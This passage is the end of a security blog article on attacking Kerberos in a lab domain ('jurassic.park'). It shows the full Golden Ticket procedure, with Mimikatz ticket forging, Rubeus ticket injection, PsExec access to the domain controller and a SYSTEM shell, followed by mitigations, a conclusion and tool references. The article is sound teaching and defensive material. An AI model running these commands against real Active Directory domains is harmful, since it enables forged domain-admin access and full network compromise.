[*] Creating service DMmI on lab-wdc02.jurassic.park..... [*] Starting service DMmI..... [!] Press help for extra shell commands Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>

The result is similar to the Silver Ticket one, but this time, the compromised server is the DC, and could be any machine or the domain.

From Windows

As in silver ticket case, Mimikatz, Rubeus and PsExec can be used to launch the attack:

C:\Users\triceratops>.\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:25b2076cda3bfd6209161a6c78a69c1c /user:stegosaurus User : stegosaurus Domain : jurassic.park (JURASSIC) SID : S-1-5-21-1339291983-1349129144-367733775 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 25b2076cda3bfd6209161a6c78a69c1c - rc4_hmac_nt Lifetime : 28/02/2019 10:58:03 ; 25/02/2029 10:58:03 ; 25/02/2029 10:58:03 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz # exit Bye! C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>klist Current LogonId is 0:0x50ca688 Cached Tickets: (1) #0> Client: stegosaurus @ jurassic.park Server: krbtgt/jurassic.park @ jurassic.park KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 2/28/2019 11:36:55 (local) End Time: 2/25/2029 11:36:55 (local) Renew Time: 2/25/2029 11:36:55 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -> PRIMARY Kdc Called: C:\Users\triceratops>.\PsExec.exe -accepteula \\lab-wdc02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\stegosaurus C:\Windows\system32>

While I was performing this technique, sometimes seems that tickets doesn’t work. I was wondering what is happening, when I remembered reading this post about the 20 minute rule for PAC validation in the DC. Then I realized that any of the failed ticket were injected after I having been performing some unrelated tasks, which it involves that between the moment I created the ticket and the moment I injected it, at least half an hour had passed. So, remember to inject the tickets after creating them.

Mitigations

In order to prevent or mitigate many of these Kerberos attacks a series of policies can be implemented. Some examples are the following:

Enable an strong password policy : First step is to avoid having weak passwords in domain user accounts. To achieve this an strong password policy should be implemented, by ensuring that complex password option is enabled on Active Directory domain. Moreover, blacklisting some common predictable terms in passwords as company names, year or months names.

: First step is to avoid having weak passwords in domain user accounts. To achieve this an strong password policy should be implemented, by ensuring that complex password option is enabled on Active Directory domain. Moreover, blacklisting some common predictable terms in passwords as company names, year or months names. Avoid accounts without pre-authentication : If it is no completely necessary, none account must have Kerberos pre-authentication enabled. In case that this cannot be avoided, take note of these special accounts and create pseudo-random passwords with high level of complexity.

: If it is no completely necessary, none account must have Kerberos pre-authentication enabled. In case that this cannot be avoided, take note of these special accounts and create pseudo-random passwords with high level of complexity. Avoid executing services in behalf of account accounts : Avoid services that run in domain user account context. In case of using an special user account for launch domain services, generate an strong pseudo-random password for that account.

: Avoid services that run in domain user account context. In case of using an special user account for launch domain services, generate an strong pseudo-random password for that account. Verify PAC : Enable PAC verification in order to avoid attacks such as Silver Ticket. To enable this check set the value ValidateKdcPacSignature (DWORD) in subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters to 1.

: Enable PAC verification in order to avoid attacks such as Silver Ticket. To enable this check set the value ValidateKdcPacSignature (DWORD) in subkey HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters to 1. Change passwords periodically : Set policies to ensure that user passwords are periodically modified, for example, each 2 to 4 months. As special case, krbtgt account password should also be changed periodically, since that key is used to create TGTs. To this purpose, the script https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51 can be used. It must be taken into account that krbtgt password must be modified twice to invalidate current domain tickets, for cache reasons. Another consideration is that the functional level of domain must be equal or higher than Windows Server 2008 in order to manipulate krbtgt account credentials.

: Set policies to ensure that user passwords are periodically modified, for example, each 2 to 4 months. As special case, krbtgt account password should also be changed periodically, since that key is used to create TGTs. To this purpose, the script https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51 can be used. It must be taken into account that krbtgt password must be modified twice to invalidate current domain tickets, for cache reasons. Another consideration is that the functional level of domain must be equal or higher than Windows Server 2008 in order to manipulate krbtgt account credentials. Disable Kerberos weak encryption types: Only Kerberos encryption with AES keys should be allowed. Furthermore, Kerberos requests with a lower level of encryption as RC4 should be monitored, due is usually used by attack tools.

Additionally, Microsoft has published a guide which explains more detailed ways of preventing and mitigations this sort of attacks. It can be downloaded at https://www.microsoft.com/en-us/download/details.aspx?id=36036.

Conclussion

As it has already been shown, Kerberos has an enormous attack surface that can be used by possible attackers. Therefore, it is necessary to be aware of these attack techniques in order to deploy a set of security policies that avoid and mitigate them.

However, the journey is not over yet. Until now, only direct attacks have been seen, and there is a Kerberos feature that allows to expand its surface: Delegation.

Therefore, the next post of this series will try to explain this feature and how it can be abused to steal and compromise domain accounts.

References

MS-KILE: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/2a32282e-dd48-4ad9-a542-609804b02cc9

Impacket: https://github.com/SecureAuthCorp/impacket

Mimikatz: https://github.com/gentilkiwi/mimikatz

Rubeus: https://github.com/GhostPack/Rubeus

Rubeus (with brute module): https://github.com/Zer1t0/Rubeus

Invoke-Kerberoast: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Kerbrute.py: https://github.com/TarlogicSecurity/kerbrute

ticket_converter.py: https://github.com/Zer1t0/ticket_converter

Tickey: https://github.com/TarlogicSecurity/tickey

Kerberos Credential Thievery (GNU/Linux): https://www.delaat.net/rp/2016-2017/p97/report.pdf

Fun with LDAP and Kerberos in AD environments: https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=79

20 Minute Rule PAC: https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html

Mimikatz and your credentials: https://www.nosuchcon.org/talks/2014/D2_02_Benjamin_Delpy_Mimikatz.pdf

MIT Kerberos Credential cache types: https://web.mit.edu/kerberos/krb5-devel/doc/basic/ccache_def.html

MIT Kerberos File ccache format: https://web.mit.edu/kerberos/krb5-devel/doc/formats/ccache_file_format.html

Detecting Kerberoasting: https://adsecurity.org/?p=3458

More articles in this series about Kerberos This article is part of a series of articles about Kerberos Kerberos (I): How does Kerberos work? – Theory Kerberos (II): How to attack Kerberos? Kerberos (III): How does delegation work?